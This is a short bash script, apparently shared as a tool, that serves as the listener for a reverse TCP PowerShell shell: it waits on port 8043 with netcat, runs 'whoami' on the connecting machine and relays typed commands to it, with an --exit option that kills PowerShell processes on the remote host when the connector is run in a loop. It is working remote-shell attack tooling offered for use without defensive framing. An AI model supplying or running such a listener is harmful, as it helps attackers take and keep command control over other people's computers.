A receiver for a reverse tcp powershell (--exit is to kill all PS instances if you put PS the conenctor in a loop)

server.sh

#!/usr/bin/env bash

if [[ $1 = "--exit" ]]
  then
    echo "exiting..."
    echo "ps powershell | kill"|nc -lp 8043
    echo "done"
    exit 1
  fi
(echo "echo \"connected to \$(whoami)\""&&cat)|nc -lp 8043